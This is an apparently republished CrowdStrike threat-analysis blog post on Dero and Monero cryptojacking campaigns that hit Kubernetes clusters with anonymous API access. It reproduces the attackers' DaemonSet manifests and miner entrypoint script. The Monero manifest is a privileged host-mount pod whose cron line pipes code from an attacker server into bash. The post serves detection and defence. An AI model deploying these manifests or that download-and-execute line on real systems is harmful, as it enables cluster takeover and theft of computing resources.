Cloud 101CircleEventsBlog
Master CSA’s Security, Trust, Assurance, and Risk program—download the STAR Prep Kit for essential tools to enhance your assurance!

The Discovery of the First-Ever Dero Cryptojacking Campaign Targeting Kubernetes

Published 04/20/2023

The Discovery of the First-Ever Dero Cryptojacking Campaign Targeting Kubernetes

Originally published by CrowdStrike.

  • CrowdStrike discovers the first-ever Dero cryptojacking operation targeting Kubernetes infrastructure. Dero is a cryptocurrency that claims to offer improved privacy, anonymity and higher and faster monetary rewards compared to Monero, which is a commonly used cryptocurrency in cryptojacking operations.
  • The novel Dero cryptojacking operation concentrates on locating Kubernetes clusters with anonymous access enabled on a Kubernetes API and listening on non-standard ports accessible from the internet. The attacks have been observed constantly by CrowdStrike since the beginning of February 2023 from three servers based in the U.S.
  • The novel Dero cryptojacking operation is found to be targeted by an existing Monero cryptojacking operation that was modified subsequently in February 2023. The modified Monero campaign kicks out the DaemonSets used for Dero cryptojacking in the Kubernetes cluster before taking it over.

CrowdStrike has discovered the first-ever Dero cryptojacking operation targeting Kubernetes infrastructure. Dero is a relatively new and privacy-focused cryptocurrency that uses directed acyclic graph (DAG) technology to claim complete anonymity of its transactions. The combination of anonymity and the higher rewards ratio makes it potentially lucrative to cryptojacking groups compared to Monero, which is commonly used cryptocurrency by attackers or groups running miner operations.

Also detected was a Monero cryptojacking operation, which is aware of and competing with the Dero campaign. The Monero campaign uses privilege escalation using DaemonSets and host root mount, and mines XMR on the host.

CrowdStrike has previously uncovered campaigns targeting vulnerable Docker and Kubernetes infrastructure in the cloud by cryptojacking botnets/groups like Kiss-a-dog, LemonDuck and WatchDog, and also for Pro-Ukranian DoS attacks.

Take the CrowdStrike Cloud Security Challenge with a free Cloud Security Health Check.

Detection and Protection

The suspicious activity by the Dero and Monero campaigns was detected by CrowdStrike’s advanced machine learning and multiple behavior-based indicators of attack (IOAs) and indicators of misconfiguration (IOMs).

Figure 1.A shows a custom IOA detection to detect the Dero and Monero campaigns.

Figure 1.A. Detecting Dero and Monero campaigns

Additionally, CrowdStrike ran the image in a sandboxed environment to uncover potential malicious behavior and found that the suspicious process is trying to mine the Dero cryptocurrency, as shown in Figure 1.B.


Figure 1.B. Detecting the malicious process

Dero Cryptojacking Campaign Targets Kubernetes

It has been estimated that the crypto crash of last year undercut a cryptojacking campaign’s monetary reward by 50-90%. Dero, which offers larger rewards and provides the same or better anonymizing features, is a perfect match for attackers.

In February 2023, CrowdStrike observed the first-ever Dero cryptojacking campaign targeting Kubernetes infrastructure. Attackers carefully targeted Kubernetes clusters on non-standard ports by scanning and identifying exposed vulnerable Kubernetes clusters with authentication set as --anonymous-auth=true, which allows anonymous access to the Kubernetes API. A user with sufficient privileges who runs ”Kubectl proxy” can unintentionally expose a secure Kubernetes API on the host where kubectl is running, which is a less obvious way to expose the secure Kubernetes cluster bypassing authentication. Kubernetes out-of-the box doesn’t allow anonymous access to the Kubernetes control plane API. But the delayed secure-by-default decision and number of ways Kubernetes can be accidentally exposed still created a legacy of exposed systems on the internet. Attackers used the following U.S.-based IPs to scan and deploy initial payloads. Figure 2 shows attempts at targeting the Kubernetes cluster over a one-week period (February 3-10, 2023).

209[.]141[.]32[.]72
209[.]141[.]42[.]48
205[.]185[.]124[.]121

Figure 2. IPs targeting a honeypot Kubernetes cluster over a one-week period (February 3-10, 2023)

Figure 3 shows the general flow of the attack, where an attacker on the internet finds an exposed vulnerable Kubernetes cluster. After initial interaction with the Kubernetes API, the attacker deploys a Kubernetes DaemonSet named “proxy-api”. The DaemonSet deploys a malicious pod on each node of the Kubernetes cluster. This helps attackers engage resources of all of the nodes at the same time to run a cryptojacking operation. The mining efforts by the pods are contributed back to a community pool, which distributes the reward (i.e., Dero coin) equally among its contributors through their digital wallet.

Let’s take a closer look at the campaign.

Figure 3. Campaign to attack a Kubernetes cluster to mine Dero

Use of Docker Hub Image with “Pause” Binary

The Docker image used in the cryptojacking operation is hosted by Docker Hub for easy public access. Figure 4 shows the image “pauseyyf/pause:latest” was uploaded in January 2023 and has over 4,000 pulls at the time of this writing. The number of pulls implies the scope of this campaign and how many potential miner instances have been deployed. Closer analysis reveals that it is a CentOS 7 base image, where attackers added two files: “entrypoint.sh” and “pause”.




Figure 4. Malicious Docker image on Docker Hub with added binary “pause” and script “entrypoint.sh”

Figure 5 shows the content of the script “entrypoint.sh”, which is the actual entrypoint of the malicious image. Once the pod is deployed by the DaemonSet, the script tries to run a “pause” binary with a wallet address and mining pool as an argument, which signifies the “pause” binary being an actual Dero coin miner. This campaign used a community pool — i.e., community-pools[.]mysrv[.]cloud:10300 — which pays out for miniscule contributions to be made to the pool in the associated digital wallet.

In a legitimate Kubernetes deployment, “pause” containers are used by Kubernetes to bootstrap a pod. Attackers may have used this name to blend in to avoid obvious detection.

#!/bin/bash
echo "ok"
sleep 10
./pause 
--wallet-address=deroi1qyr8wnk9aw9lel0xcufdj98cqtd3lc5y84nhl679nm3wknaz0ad6xq9pvfz92xnjm0ypwc9rt0v 
--daemon-rpc-address=community-pools[.]mysrv[.]cloud:10300 --debug

Figure 5. Script “entrypoint.sh” initializing Dero miner with campaign wallet address

Use of Kubernetes DaemonSet

This campaign initially listed all nodes on the vulnerable Kubernetes cluster, as shown in Figure 6, where attackers used a GET query to the Kubernetes API, and once the adequate response was received, the attackers went ahead and created a DaemonSet.

Figure 7 shows the yaml used by the attacker to create the DaemonSet once the vulnerable Kubernetes cluster is found. The attacker creates it under a default Kubernetes namespace “kube-system” and names it “proxy-api” to masquerade the pod. Additionally, the attacker sets pod DNS servers to a public IP (i.e., Google’s 8.8.8.8) and marks ”restartPolicy: Always” in case the pod on any of the nodes crashes.

Figure 6. Campaign listing all nodes on the Kubernetes cluster

apiVersion: apps/v1
kind: DaemonSet
metadata:
  annotations:
    kubectl.kubernetes.io/last-applied-configuration: ''
  name: proxy-api
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: proxy-api
  template:
    metadata:
      labels:
        app: proxy-api
      name: proxy-api
    spec:
      containers:
      - command:
        - "/bin/bash"
        - "-c"
        - "./entrypoint.sh"
        image: pauseyyf/pause:latest
        imagePullPolicy: Always
        name: proxy-api
      dnsConfig:
        nameservers:
        - 8.8.8.8
        options:
        - name: ndots
          value: '2'
        - name: edns0
        searches:
        - ns1.svc.cluster.local
        - my.dns.search.suffix
      dnsPolicy: None
      restartPolicy: Always
      tolerations:
      - operator: Exists

Figure 7. Kubernetes DaemonSet yaml used by campaign

Silently Running Operation

Once the vulnerable Kubernetes cluster was compromised, attackers made no attempts to pivot either by moving laterally to attack further resources or scan the internet for discovery, which is a common pattern among many cryptojacking campaigns observed in the wild.

Furthermore, attackers made no attempts to delete or disrupt cluster operation. Instead, they deployed a DaemonSet to mine Dero by masquerading the DaemonSet name to “proxy-api” and miner’s name to “pause”, which are common terms in Kubernetes logs.

These focused behaviors seem to clarify the intent of this campaign, which is that the attackers are solely attempting to mine for Dero. Thus, we can suspect a financially motivated cryptojacking actor is behind this campaign.

The Dero wallet address “deroi1qyr8wnk9aw9lel0xcufdj98cqtd3lc5y84nhl679nm3wknaz0ad6xq9pvfz92xnjm0ypwc9rt0v” seems to be mining on mainnet, but due to privacy and anonymity features of Dero, it’s hard to track the balance of such a wallet address, and the overall value of this mining operation to date. According to Dero documentation, a wallet address along with a TX private key generated from the same wallet is needed to look at transactions and the balance on the Dero blockchain.

Modified Monero Cryptojacking Campaign Tries to Take On Dero Cryptojacking Campaign

After discovering the Dero cryptojacking campaign, CrowdStrike subsequently detected in February 2023 a modified Monero campaign attacking Kubernetes and kicking out the Dero miner to mine Monero instead.

Once the misconfigured Kubernetes API is found, the modified Monero campaign first deliberately tries to delete existing DaemonSets named “proxy-api.” This signifies the Monero campaign is aware of the ongoing Dero cryptojacking campaign, and the Monero attacker wants to knock off the existing Dero cryptojacking DaemonSet before the campaign takes over the cluster and uses all of its resources.

Figure 8. Monero campaign deleting the Dero DaemonSet “proxy-api”

Apart from “proxy-api,” the Monero campaign tries to delete the following DaemonSets. This signifies the new campaign may be aware of other campaigns, which are deploying the following DaemonSets:

  • api-proxy
  • k8s-proxy

Figure 9 shows yaml used by the Monero cryptojacking campaign. The difference between the Dero and Monero cryptojacking campaigns is that the Monero campaign deploys a privileged pod and mounts a “host” directory in an attempt to escape the container. Furthermore, it creates a cronjob to trigger a payload rather than immediately executing malicious scripts by overwriting cron files on the host file system. The following table shows the differences between the two campaigns.


Dero Campaign

Monero Campaign

1

No use of Privileged pod but used DaemonSet

Deployed Privileged pod using DaemonSet

2.

Malicious payload entrypoint.sh is part of image pauseyyf/pause:latest

Malicious payload “ssww” is downloaded from the C2 server at runtime on busybox image

2

No use of host root mount

Mounted host root on pod in a directory /host/

3

No attempt to escalate pod privileges

Privilege escalation by overwriting /host/etc/cron.d/1weekly

4

No user mode rootkit

Downloaded and compiled rootkit phsd2.c from C2 server and used ld.so.preload to load it. The rootkit hides the mining process “.system

5

Mined Dero cryptocurrency in the pod

Mined Monero cryptocurrency by escalating to host and installing custom service svngd.service on host

6

Used Dero miner

Used custom UPX packed xmrig with config.json fused into binary and anonymous pool address “172[.]86[.]75[.]2:443

Table 1. Comparison of the Dero and Monero campaigns

CrowdStrike identifies the following IPs used in the Monero cryptojacking campaign:

45[.]61[.]137[.]195
172[.]86[.]75[.]2

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: test
spec:
  selector:
    matchLabels:
      name: test
  template:
    metadata:
      labels:
        name: test
    spec:
      containers:
      - name: alpine
        image: busybox:latest
        command:
        - "/bin/sh"
        args:
        - "-c"
        - chattr -ia /host/etc/cron.d; (echo '* * * * * root (curl -k https://45[.]61[.]137[.]195:58282/ssww
          | bash); rm /etc/cron.d/1weekly' > /host/etc/cron.d/1weekly)
        volumeMounts:
        - name: host
          mountPath: "/host"
        securityContext:
          privileged: true
      volumes:
      - name: host
        hostPath:
          path: "/"
          type: Directory
      tolerations:
      - operator: Exists

Figure 9. Kubernetes DaemonSet yaml used by the Monero campaign

Conclusion

As Kubernetes has become the most popular container orchestrator in the world, attackers have opportunistically targeted Kubernetes and Docker misconfigurations, design weaknesses and zero-day vulnerabilities like cr8escape, which was discovered by CrowdStrike.

CrowdStrike discovered the first-ever Dero cryptojacking operation targeting Kubernetes infrastructure. Dero is a relatively new cryptocurrency that is claimed to have better anonymity features. The Dero cryptojacking campaign targeted exposed Kubernetes attack surface, in which attackers ran silently using three U.S.-based server IPs to carefully scan and identify vulnerable Kubernetes clusters and deploy payload. At the same time, CrowdStrike observed another Monero campaign, which is modified and is aware of the Dero campaign and targeting the same attack surface but using a more sophisticated approach. Both campaigns are trying to find undiscovered Kubernetes attack surfaces and are battling it out.

Share this content on your favorite social network today!